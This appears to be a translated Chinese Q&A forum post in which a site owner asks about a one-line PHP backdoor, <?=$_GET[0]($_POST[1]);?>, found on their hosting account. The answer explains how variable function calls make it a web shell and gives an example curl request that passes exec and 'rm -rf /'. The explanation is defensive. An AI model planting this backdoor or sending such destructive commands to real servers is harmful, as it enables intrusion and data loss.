我使用以下代码在我的托管帐户中发现了恶意php文件:
<?=$_GET[0]($_POST[1]);?>
请帮助我更好地理解这段代码,这个代码对于上传者有什么可能性?
提前致谢。
答案 0 :(得分:6)
$func = 'strlen';
$arg = 'foo';
echo $func($arg); // output: 3
您正在查看变量函数调用。在您的情况下,函数名称来自URL中的查询字符串和HTTP POST正文中的参数。所以,这可以执行任何事情。可能有人会尝试使用它来通过exec
执行shell代码。
E.g:
$ curl example.com/infected_file.php?exec -d 'rm%20-rf%20/'
(不是100%确定这会按原样进行,我不想尝试,但你明白了。)